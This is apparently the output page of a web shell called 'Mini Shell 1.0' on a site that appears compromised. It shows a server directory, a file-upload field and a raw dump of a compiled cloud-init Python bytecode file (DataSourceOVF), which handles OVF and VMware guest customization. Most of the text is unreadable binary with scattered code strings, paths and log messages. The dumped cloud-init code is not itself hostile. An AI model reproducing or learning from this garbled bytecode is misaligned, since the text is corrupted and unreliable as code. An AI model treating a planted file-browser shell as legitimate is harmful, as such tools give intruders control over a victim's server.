HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/sources/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceOVF.cpython-311.pyc
�

܍~c|��B�ddlZddlZddlZddlZddlmZddlmZddlmZ	ddlm
Z
mZmZm
Z
ddlmZddlmZmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddl m!Z!m"Z"m#Z#m$Z$m%Z%e	j&e'��Z(dZ)dZ*dZ+Gd�de,��Z-Gd�dej.��Z/Gd�de/��Z0d�Z1	d2d�Z2	d3d�Z3d4d�Z4d �Z5d5d!�Z6d"�Z7d#�Z8d6d$�Z9d%�Z:d&�Z;d'�Z<d(�Z=Gd)�d*e,��Z>e/ej?ffe0ej?ej@fffZAd+�ZBd,�ZCd-�ZDd.�ZEd/�ZFd0�ZGd1�ZHdS)7�N)�minidom)�dmi)�log)�safeyaml�sources�subp�util)�Config)�PostCustomScript�PreCustomScript)�
ConfigFile)�NicConfigurator)�PasswordConfigurator)�GuestCustErrorEnum)�GuestCustEventEnum)�GuestCustStateEnum)�enable_nics�get_nics_to_enable�get_tools_config�set_customization_status�
set_gc_status�	deployPkgzenable-custom-scripts�/var/run/vmware-imcc��eZdZdS)�GuestCustScriptDisabledN��__name__�
__module__�__qualname__���A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceOVF.pyrr6��������Dr!rc�L�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	e
d���Zd	S)
�
DataSourceOVF�OVFc��tj�||||��d|_tj�|jd��|_d|_i|_	d|_
d|_d|_d|_
d|_d|_dS)N�ovf)�/zfile://TF)r�
DataSource�__init__�seed�os�path�join�seed_dir�environment�cfg�supported_seed_starts�vmware_customization_supported�_network_config�_vmware_nics_to_enable�_vmware_cust_conf�_vmware_cust_found��self�sys_cfg�distro�pathss    r"r+zDataSourceOVF.__init__>s�����#�#�D�'�6�5�A�A�A���	�����U�^�U�;�;��
�������%5��"�.2��+�#���&*��#�!%���"'����r!c�Z�tj�|��}|�d|j�d�S)Nz [seed=�])rr*�__str__r,)r:�roots  r"r@zDataSourceOVF.__str__Ks-���!�)�)�$�/�/��!%���t�y�y�y�1�1r!c�0�g}i}d}d}d}d}ddi}t|jj��\}}	tjd��}
|
�t
�d��|r[tj�	|jj|��}t|	��\}}}|	|_|�|���nT|
�rQd|
�
��v�r:t
�d��d}
d}|jst
�d	��n7tj|jd
d��}
tj|jdd��}|
s|st
�d
���n�d}d}d}|D]1}t'||��}|rt
�d|��n�2|r>t)|j��}tjt
jdt,d|f���}nt
�d��d}|r�tj�|��}t1|��}t3|��|_t
�d|��	t7|j��\}}}n9#t8$r,}t;d|t<j||j��Yd}~nd}~wwxYw|r|st
�d��d}|�|
st
�d��d}nt
�d��tA|o|��}|�rKtC|jd��t
�d��	tE||��\}}}}|r||_#n|j$�%��|_#nr#tLj'$r,}t;d|tPj)||j��Yd}~n<d}~wtT$r,}t;d|t<j||j��Yd}~nd}~wwxYwd|_+|�d��tj,|��t[t\j/tPj0��tC|jd���n�|�rd|_1	tC|jd��te|j��\}}}tg|��|_1|jj4}tk|tj�	|jj6d ����}|o|}|jj7}|r�|r�d!}|jj8rt
�d"��d#}tstttv|��} | �
��d#krOd$}!t
�|!��t[t\j<tPj=��t}|!���tj�	|j�?d%��d&��}"n�#t|$rF}t
�d'��t;d(|tPj=||j��Yd}~n<d}~wtT$r,}t;d(|t<j||j��Yd}~nd}~wwxYw|ra|r_	t�||��}#|#�A��n9#tT$r,}t;d)|t<j||j��Yd}~nd}~wwxYw	t
�d*��t�|jdd|j$jC��|_#n9#tT$r,}t;d+|t<jD||j��Yd}~nd}~wwxYw|�rt
�d,��t���}$|jjF}%	|jjG}&|%s|&r|$�H|%|&|j$��nt
�d-��n9#tT$r,}t;d.|t<j||j��Yd}~nd}~wwxYw|r`	t�|||"��}'|'�A��n9#tT$r,}t;d/|t<j||j��Yd}~nd}~wwxYw|rs	t�|tj�	|jj6d ����n9#tT$r,}t;d0|t<j||j��Yd}~nd}~wwxYwd|_+|�d��tj,tj�|����t�|j1��t[t\j/tPj0��tC|jd��nud1t�fd2t�fg}(d})|(D]\})}*|*��}	|	rn�|	rIt|	d��\}}}|	|_d3|vr|d3r
|d3|_#|�|)��t�|��d4krdSd5|vr�|d5r�|d5}+d},|jOD]}-|+�P|-��r|-},n�|,st
�d6|+|��dStjQ|+d�7��\}.}}t
�d8|+��tjR||.g��}|�|+��tjR||g��}d9�	|��|_S||_T||_U||_V||_WdS):N��instance-idz	iid-dsovf�system-product-namezNo system-product-name found�vmwarez$VMware Virtualization Platform foundFz3Skipping the check for VMware Customization support�disable_vmware_customizationT�allow_raw_dataz.Customization for VMware platform is disabled.)z/usr/lib/vmware-toolsz/usr/lib64/vmware-toolsz/usr/lib/open-vm-toolsz/usr/lib64/open-vm-toolsz'/usr/lib/x86_64-linux-gnu/open-vm-toolsz(/usr/lib/aarch64-linux-gnu/open-vm-toolszlibdeployPkgPlugin.soz$Found the customization plugin at %szwaiting for configuration filezcust.cfg)�logfunc�msg�func�argsz&Did not find the customization plugin.z,Found VMware Customization Config File at %szFile(s) missing in directoryz)Customization using raw data is disabled.z.Customization using VMware config is disabled.z-Did not find VMware Customization Config File�Startedz0Start to load cloud-init meta data and user dataz&Error parsing the cloud-init meta dataz&Error loading cloud-init configurationzvmware-tools�
Successful�data�falsez=Set default value to true due to customization configuration.�truez-Custom script is disabled by VM Administrator�scriptszper-instancerz+Error parsing the customization Config Filez(Error executing pre-customization scriptz#Preparing the Network configurationz%Error preparing Network ConfigurationzApplying password customizationzChanging password is not neededz%Error applying Password Configurationz)Error executing post-customization scriptzError creating marker fileszcom.vmware.guestInfo�iso�network-configr�seedfromz Seed from %s not supported by %s)�timeoutzUsing seeded cache data from %s�,)X�get_ovf_envr=r0r�
read_dmi_data�LOG�debugr-r.r/�read_ovf_environmentr1�append�lowerr4r	�get_cfg_option_boolr;�ds_cfg�search_file�get_max_wait_from_cfg�log_time�wait_for_imc_cfg_file�dirnamer
r
r7�collect_imc_file_paths�FileNotFoundError�_raise_error_status�GuestCustEvent� GUESTCUST_EVENT_CUSTOMIZE_FAILED�boolr�load_cloudinit_datar5r<�generate_fallback_configr�	YAMLErrorr�!GUESTCUST_ERROR_WRONG_META_FORMAT�	Exceptionr8�del_dirrr�GUESTCUST_STATE_DONE�GUESTCUST_ERROR_SUCCESSr6�read_vmware_imcr�	marker_id�check_marker_exists�	cloud_dir�custom_script_name�default_run_post_scriptr� CONFGROUPNAME_GUESTCUSTOMIZATION�&GUESTCUSTOMIZATION_ENABLE_CUST_SCRIPTS�GUESTCUST_STATE_RUNNING�GUESTCUST_ERROR_SCRIPT_DISABLEDr�	get_cpathr�execute�get_network_config_from_conf�osfamily�$GUESTCUST_EVENT_NETWORK_SETUP_FAILEDr�admin_password�reset_password�	configurer�setup_marker_filesr�transport_vmware_guestinfo�transport_iso9660�lenr3�
startswith�read_seeded�
mergemanydictr,�metadata�userdata_raw�vendordata_rawr2)/r:�found�md�ud�vd�vmwareImcConfigFilePath�nicspath�defaults�seedfile�contents�system_typer,r2�allow_vmware_custrH�search_paths�plugin�deployPkgPluginPathr.�max_wait�md_path�
imcdirpath�cf�ud_path�e�use_raw_data�network�product_marker�
hasmarkerfile�special_customization�customscript�defVal�custScriptConfigrJ�ccScriptsDir�precust�pwdConfigurator�adminpwd�resetpwd�postcust�np�name�	transfuncrU�	seedfound�proto�md_seeds/                                               r"�	_get_datazDataSourceOVF._get_dataOsm
����
��
��
��"&����
�;�
�� +�4�:�+>�?�?���8��'�(=�>�>�����I�I�4�5�5�5��a	O��7�<�<��
� 3�X�>�>�D�0��:�:�M�R��S�'�D���L�L������
�[	O�X��):�):�)<�)<�<�<��I�I�<�=�=�=� %��"�N��6�

��	�	�I�����)-�(@��L�"@�$�)�)�%�!�"&�!9��K�!1�4�"�"��&�K
O��K
O��	�	�J�K�K�K�K� ��1��&*�#�(���D�*5�d�F�*C�*C�'�*���	�	�B�/�������'�H� 5�T�[�A�A�H�.2�m� #�	�<�2�(�(�3�	/�/�/�+�+��I�I�F�G�G�G���*�"O�!#����1H�!I�!I�J�#�$;�<�<�B�-3�B�Z�Z�D�*��I�I�F�/�����7M� �2�8�8�4��'�8�8��-����+�:��*�K�3� �2������������������7�~�7��	�	�"M�N�N�N�37�/���/@���	�	�L����37�/���I�I�M�N�N�N��3�?��@�@���R	#��$�0�)�<�<�<��I�I�H�I�I�I�
�)<�W�g�)N�)N�&��R��g���+2�D�(�(���<�<�>�>��(����%�
�
�
�#�<��&�H�+��*��������������
�
�
�#�<��"�C�+��*�������������
����'+�D�#��L�L��(�(�(��L��$�$�$�$�"�7�"�:�
�
�
�
�$�0�,�?�?�?�?�
$�j	#�*,�D�'�:
��d�4�i�@�@�@� /��0F� G� G�
��R��.@��.J�.J��+�!%�!7�!A�� 3�"�B�G�L�L���1E�v�$N�$N�!�!�
�)7�(L�}�;L�%�#�5�H��)�;�\�;�$�F��-�E�(��	�	�<����"(��'7�8�>��(�(�$�
(�-�-�/�/�6�9�9�N���	�	�#����0�.�F�.�N����6�c�:�:�:�!�w�|�|��J�(�(��3�3�^� � ����+�
�
�
��	�	�3�4�4�4�#�A��&�F�+��*��������������
�
�
�#�A��"�C�+��*�������������
����%�
���
�"1�,�
�"K�"K�����)�)�)�)��$����+�F��*�K�3� �2�����������������
��	�	�?�@�@�@�'C��*�D�$���8L�(�(��$�$���
�
�
�#�;��"�G�+��*�������������
����%�"
��	�	�;�<�<�<�"6�"8�"8���1�@���#�5�D�H��E�8�E�'�1�1�$�h��������	�	�"C�D�D�D��� ����'�?��&�G�/��.����������������� �
��#3�(�*�l�$�$��!�(�(�*�*�*�*��$����+�G��*�K�3� �2������������������

��&�&�����T�Z�%9�6�B�B������!����'�5��&�G�/��.�����������������'+�D�#��L�L��(�(�(�
�L�����)@�A�A�B�B�B���3�4�4�4�$�"�7�"�:�
�
�
�
�$�0�,�?�?�?�?�(�)C�D��)�*��B��D�#%�
�
���i�$�9�;�;�����E���
#� 4�X�t� D� D�
��R��#+�� �#�r�)�)�b�1A�.B�)�+-�.>�+?�D�(����T�"�"�"��u�:�:��?�?��5������:����*�~�H��I��3�
�
���&�&�u�-�-�� %�I��E���
��	�	�<�h��M�M�M��u� $� 0��4� H� H� H��W�b�"��I�I�7��B�B�B��#�R��M�2�2�B��L�L��"�"�"��
��X��
/�
/���H�H�U�O�O��	���
���� �������ts��!I:�:
J0�"J+�+J0�=N�O?�"O�
O?�"O:�:O?�8E>W7�7
Y;�<Y�
Y;�"Y6�6Y;�$Z(�(
[�2"[�[�"A\#�#
]�-"]�]�A_�
`�&"`
�
`�%`>�>
a4�"a/�/a4�:8b3�3
c)�="c$�$c)c��tjd�����}|dkr
d|jzSd|jzS)NrErFzvmware (%s)zovf (%s))rrYr^r,)r:r�s  r"�_get_subplatformzDataSourceOVF._get_subplatform�sD���'�(=�>�>�D�D�F�F���(�"�"� �4�9�,�,��D�I�%�%r!c�f�d|jvrgS|jd}t|t��r|S|gS)N�public-keys)r��
isinstance�list)r:�pkss  r"�get_public_ssh_keysz!DataSourceOVF.get_public_ssh_keys�s>����
�-�-��I��m�M�*���c�D�"�"�	��J��5�Lr!c��|jS�N)r2�r:s r"�get_config_objzDataSourceOVF.get_config_obj�s	���x�r!c��|jSr�)r5r�s r"�network_configzDataSourceOVF.network_config�s���#�#r!N)rrr�dsnamer+r@r�r�r�r��propertyr�r r!r"r%r%:s�������
�F�(�(�(�2�2�2�g�g�g�R&�&�&��������$�$��X�$�$�$r!r%c��eZdZd�ZdS)�DataSourceOVFNetc��t�||||��tj�|jd��|_d|_d|_dS)Nzovf-net)zhttp://zhttps://F)r%r+r-r.r/r0r3r4r9s    r"r+zDataSourceOVFNet.__init__�sK�����t�W�f�e�<�<�<�����U�^�Y�?�?��
�%<��"�.3��+�+�+r!N)rrrr+r r!r"r�r��s#������4�4�4�4�4r!r�c��d}d}|}|s|S	t|�||����}n,#t$rt�d||��YnwxYw|dkrt�d|||��|}|S)N��vmware_cust_file_max_waitzFailed to get '%s', using %srz/Invalid value '%s' for '%s', using '%s' instead)�int�get�
ValueErrorrZ�warning)r2�default_max_wait�max_wait_cfg_optionr�s    r"rbrb�s�����5���H�����
��s�w�w�2�4D�E�E�F�F�����
�
�
����*���	
�	
�	
�	
�	
�
�����!�|�|����=����		
�	
�	
�$���Os�#0�&A�A��c��d}||krd}||krztj�||��}tj�|��r|St�d��t
j|��||z
}||k�zdS)Nr�z,Waiting for VMware Customization Config File)r-r.r/�isfilerZr[�time�sleep)�filename�maxwait�naplen�dirpath�waited�fileFullPaths      r"rdrd�s����F��&�����
�7�
�
��w�|�|�G�X�6�6��
�7�>�>�,�'�'�	 ����	�	�@�A�A�A��
�6�����&���
�7�
�
��4r!TFc��t|j|��}|�||��}t||j|j��Sr�)r�nics�generate�get_network_config�name_servers�dns_suffixes)�config�use_system_devicesr�r��nicConfigurator�
nics_cfg_lists      r"r�r�sJ��&�f�k�3E�F�F�O�#�,�,�Y��A�A�M���v�*�F�,?���r!c�J�|}|s|r|�d||d���d|d�S)N�
nameserver)�type�address�searchr�)�versionr�)r])r��nameserversr��config_lists    r"r�r�sK���K��
�f�
����!�k�V�L�L�	
�	
�	
��K�0�0�0r!c��i}i}d}|jr'|jr|jdz|jz|d<n
|j|d<|jr
|j|d<d|d<|||fS)N�.�local-hostname�timezoneziid-vmware-imcrD)�	host_name�domain_namer�)r�r�r2r�s    r"rtrt s~��	�B�
�C�	
�B�
��4���	4�#)�#3�c�#9�F�<N�#N�B�� � �#)�#3�B�� �
��*� �/��J��(�B�}����C�=�r!c�T�t|��}i}i}d}dg}gd�}dg}|���D]�\}	}
|	dkrd}	|	|vr|
||	<�|	|vr|
||	<�!|	|vry|rw	tj|
�����}t|���d��||	<�t#t$rt�	d��Y��wxYw|	dkrL	tj|
�����}��#t$r|
���}Y��wxYw��|||fS)	N�password)rUr�r�rDrT�hostnamer�r�z%Ignore network-config in wrong formatz	user-data)
�get_properties�items�base64�	b64decode�encode�safeload_yaml_or_dictr�rprZr[)r��read_network�propsr�r2r��	cfg_props�md_props�
network_props�prop�valr�s            r"r\r\3s���8�$�$�E�	�B�
�C�	
�B���I�K�K�K�H�%�&�M��{�{�}�}�"�"���s��:���#�D��8����B�t�H�H�
�Y�
�
��C��I�I�
�]�
"�
"�|�
"�
C�!'�!1�#�*�*�,�,�!?�!?��0��@�@�D�D�Y�O�O��4�����
C�
C�
C��	�	�A�B�B�B�B�B�
C����
�[�
 �
 �
"��%�c�j�j�l�l�3�3�����
"�
"�
"��Z�Z�\�\����
"����!�

��C�=�s%�AB(�($C�C�&D�D!� D!c��d}|D]�}tj�||��}tj�|��rF	t	j|��}||fcS#t$rt	jtd|��Y��wxYw��dS)N)zovf-env.xmlzovf_env.xmlzOVF_ENV.XMLzOVF-ENV.XMLzFailed loading ovf file %s)NF)	r-r.r/r�r	�	load_filerp�logexcrZ)re�	env_names�fname�full_fnr�s     r"rXrXRs���L�I��H�H���'�,�,�w��.�.��
�7�>�>�'�"�"�	H�
H��>�'�2�2���x�(�(�(�(���
H�
H�
H���C�!=�w�G�G�G�G�G�
H����		H��=s�A!�!%B	�B	c�0�|sdSt|t��std|z���tj�|��}|�d��r|�d��d}|�d��r|�d��d}n|�	d��dkrdS|sdSd}tj
�d|��}tj
|��}|�|��d	uS)
z�Test if devname matches known list of devices which may contain iso9660
       filesystems.

    Be helpful in accepting either knames (with no leading /dev/) or full path
    names, but do not allow paths outside of /dev/, like /dev/foo/bar/xxx.
    Fz Unexpected input for devname: %sz/dev/���r)rz^(sr[0-9]+|hd[a-z]|xvd.*)�CLOUD_INIT_CDROM_DEV_REGEXN)r��strr�r-r.�normpathr��	partition�split�count�environr��re�compile�match)�devname�
default_regex�
devname_regex�cdmatchs    r"�maybe_cdrom_devicer _s���G��u�
���
%�
%�G��;�g�E�F�F�F��g���w�'�'�G����'�"�"�1��#�#�G�,�,�R�0�����#�����-�-��$�$�R�(���	���s�	�	�a�	�	��u����u�1�M��J�N�N�#?��O�O�M��j��'�'�G��=�=��!�!��-�-r!c��tj��}|���D]H\}}|d}|dkr|r�t|��s�&|d}t	|��\}}|dur|cS�I|rd}nd}d�tj|rd|znd��D��}	|	D][}	tj|t|���\}}n0#tj$rt�	d|��Y�OwxYw|dur|cS�\dS)	N�fstype�iso9660�
mountpointFc�0�g|]}t|���|��Sr )r )�.0�devs  r"�
<listcomp>z%transport_iso9660.<locals>.<listcomp>�s6�������c�"�"�����r!zTYPE=%s)�mtypez%s not mountable as iso9660)
r	�mountsr�r rX�find_devs_with�mount_cb�MountFailedErrorrZr[)
�require_isor*r'�infor"�mp�_fnamer�r)�devss
          r"r�r��sg���[�]�]�F��|�|�~�~�	�	���d��h����Y���;���!�#�&�&�	��
�,�
��(��_�_�����5� � ��O�O�O�!�����������&�E�'K�y�5�'8�'8�t�L�L����D�
����	�!%��s�K�u�!M�!M�!M��V�X�X���$�	�	�	��I�I�3�S�9�9�9��H�	�����5� � ��O�O�O�!��4s�"C�*C/�.C/c�x�d}d}tj|��s|S|dg}	tj|��\}}|r|St�d||��nb#tj$rP}|jdkr;t�d||j��t�|��Yd}~nd}~wwxYw|S)Nzvmware-rpctoolzinfo-get guestinfo.ovfEnvz%cmd %s exited 0 with empty stdout: %sr�z%s exited with code %d)r�whichrZr[�ProcessExecutionError�	exit_coder�)�rpctool�	not_found�cmd�out�_errr�s      r"r�r��s����G��I��:�g�������/�
0�C���I�c�N�N�	��T��	��J��	�	�9�3��D�D�D�D���%�����;�!����K�K�0�'�1�;�G�G�G��I�I�a�L�L�L���������������s�A�A�B7�'AB2�2B7c��g}|���s|S|jD]"}||��r|�|���#|Sr�)�
hasChildNodes�
childNodesr])�node�filter_func�ret�childs    r"�
find_childrC�s[��
�C��������
�������;�u���	��J�J�u������Jr!c��tj|��}|jjdkrt	d���|j���st	d���d}t
|jd���}t|��dkrt	d���i}t
|dd���}|D]G}|j�	|d	��j
}|j�	|d
��j
}|||<�H|S)N�EnvironmentzNo Environment NodezNo Child Nodesz)http://schemas.dmtf.org/ovf/environment/1c��|jdkS)N�PropertySection��	localName��ns r"�<lambda>z get_properties.<locals>.<lambda>�s��q�{�6G�'G�r!rzNo 'PropertySection'sc��|jdkS)N�PropertyrHrJs r"rLz get_properties.<locals>.<lambda>�s
��A�K�:�$=�r!�key�value)r�parseString�documentElementrI�XmlErrorr=rCr��
attributes�getNamedItemNSrP)	r��dom�envNsURI�propSectionsr�	propElems�elemrOr	s	         r"r�r��s��
�
�h�
'�
'�C�
��$�
�5�5��,�-�-�-���,�,�.�.�)��'�(�(�(�:�H����G�G���L��<���A����.�/�/�/��E���Q��=�=���I������o�,�,�X�u�=�=�C���o�,�,�X�w�?�?�E����c�
�
��Lr!c��|r|sdStj|��D],\}}}||vr"tj�||��cS�-dSr�)r-�walkr.r/)r�r�rA�_dirs�filess     r"rara�si����(���t� �g�g�.�.�0�0���e�U��u����7�<�<��h�/�/�/�/�/���4r!c��eZdZdS)rSNrr r!r"rSrS�r#r!rSc�6�tj|t��Sr�)r�list_from_depends�datasources)�dependss r"�get_datasource_listrds���$�W�k�:�:�:r!c��|sdStj�|d|zdz��}tj�|��rdSdS)ag
    Check the existence of a marker file.
    Presence of marker file determines whether a certain code path is to be
    executed. It is needed for partial guest customization in VMware.
    @param markerid: is an unique string representing a particular product
                     marker.
    @param: marker_dir: The directory in which markers exist.
    F�.markerfile-�.txtT)r-r.r/�exists)�markerid�
marker_dir�
markerfiles   r"rvrvsP�����u�����j�.�8�*C�f�*L�M�M�J�	�w�~�~�j�!�!���t��5r!c��t�d��tj�|d|zdz��}tj|��D]I}|�d��r2tjtj�||�����Jt|d���
��dS)a"
    Create a new marker file.
    Marker files are unique to a full customization workflow in VMware
    environment.
    @param markerid: is an unique string representing a particular product
                     marker.
    @param: marker_dir: The directory in which markers exist.

    zHandle marker creationrfrgz.markerfile�wN)rZr[r-r.r/�listdirr�r	�del_file�open�close)rirjrkrs    r"r�r�s����I�I�&�'�'�'�����j�.�8�*C�f�*L�M�M�J���J�'�'�;�;�����M�*�*�	;��M�"�'�,�,�z�5�9�9�:�:�:����S�����!�!�!�!�!r!c���t�d||��ttj|��t||��t
jtj	�
|����|�)z�
    Raise error and send customization status to the underlying VMware
    Virtualization Platform. Also, cleanup the imc directory.
    z%s: %s)rZr[rrr|rr	rqr-r.re)�prefix�error�event�config_file�confs     r"rhrh,sa��
�I�I�h���&�&�&��/�G��O�O�O��$������L������-�-�.�.�.�
�Kr!c��t�d||��i}d}d}ttj|����}d|vr|d}|r(tj|���dd��}||i|fS)z�
    Load the cloud-init meta data, user data, cfg and network from the
    given files

    @return: 4-tuple of configuration
        metadata, userdata, cfg={}, network

    @raises: FileNotFoundError if md_path or ud_path are absent
    z+load meta data from: %s: user data from: %sNr��
rC)rZr[rr	r�replace)r�r�r�r�r�s     r"rlrl8s����I�I�;�W�g�N�N�N�	�B�	
�B��G�	�t�~�g�6�6�	7�	7�B��B����Y�-���7�
�^�G�
$�
$�
,�
,�T�2�
6�
6��
�r�2�w��r!c�2�|siStj|��S)z�
    The meta data could be JSON or YAML. Since YAML is a strict superset of
    JSON, we will unmarshal the data as YAML. If data is None then a new
    dictionary is returned.
    )r�load)rOs r"rrQs!�����	��=����r!c�X�d}d}d}|j}|r�tj�t|��}tj�|��st
d|z���|j}|rVtj�t|��}tj�|��st
d|z���natj�td��}tj�|��st�	d|��d}|||fS)a\
    collect all the other imc files.

    metadata is preferred to nics.txt configuration data.

    If metadata file exists because it is specified in customization
    configuration, then metadata is required and userdata is optional.

    @return a 3-tuple containing desired configuration file paths if present
        Expected returns:
             1. user provided metadata and userdata (md_path, ud_path, None)
             2. user provided metadata (md_path, None, None)
             3. user-provided network config (None, None, nics_path)
             4. No config found (None, None, None)
    Nzmeta data file is not found: %szuser data file is not found: %sznics.txtz%s does not exist.)
�meta_data_namer-r.r/�VMWARE_IMC_DIRrhrg�user_data_namerZr[)�	cust_confr�r��	nics_path�md_file�ud_files      r"rfrf\s�� �G��G��I��&�G����'�,�,�~�w�7�7���w�~�~�g�&�&�	�#�1�G�;���
��*���	��g�l�l�>�7�;�;�G��7�>�>�'�*�*�
�'�5��?������G�L�L���<�<�	��w�~�~�i�(�(�	��I�I�*�I�6�6�6��I��G�Y�&�&r!)r�r�r)TFN)NNN)F)T)Ir�r-rr��xml.domr�	cloudinitrr�loggingrrrr	�+cloudinit.sources.helpers.vmware.imc.configr
�9cloudinit.sources.helpers.vmware.imc.config_custom_scriptrr�0cloudinit.sources.helpers.vmware.imc.config_filer
�/cloudinit.sources.helpers.vmware.imc.config_nicr�2cloudinit.sources.helpers.vmware.imc.config_passwdr�4cloudinit.sources.helpers.vmware.imc.guestcust_errorr�4cloudinit.sources.helpers.vmware.imc.guestcust_eventrri�4cloudinit.sources.helpers.vmware.imc.guestcust_stater�3cloudinit.sources.helpers.vmware.imc.guestcust_utilrrrrr�	getLoggerrrZrzr{rrprr*r%r�rbrdr�r�rtr\rXr r�r�rCr�rarS�DEP_FILESYSTEM�DEP_NETWORKrbrdrvr�rhrlrrfr r!r"�<module>r�s���
�
�
�	�	�	�	�	�	�	�	�����������������$�$�$�$�$�$�3�3�3�3�3�3�3�3�3�3�3�3�>�>�>�>�>�>���������H�G�G�G�G�G�K�K�K�K�K�K����������������������������������������g���!�!��#.� �)@�&�&��	�	�	�	�	�i�	�	�	�U$�U$�U$�U$�U$�G�&�U$�U$�U$�p4�4�4�4�4�}�4�4�4����<.C�����$@D�����1�1�1�1����&����>
�
�
�$.�$.�$.�R$�$�$�$�N���$������B���	�	�	�	�	�y�	�	�	��W�+�-�.���.��0C�D�E���;�;�;�
���$"�"�"�$	�	�	����2���('�('�('�('�('r!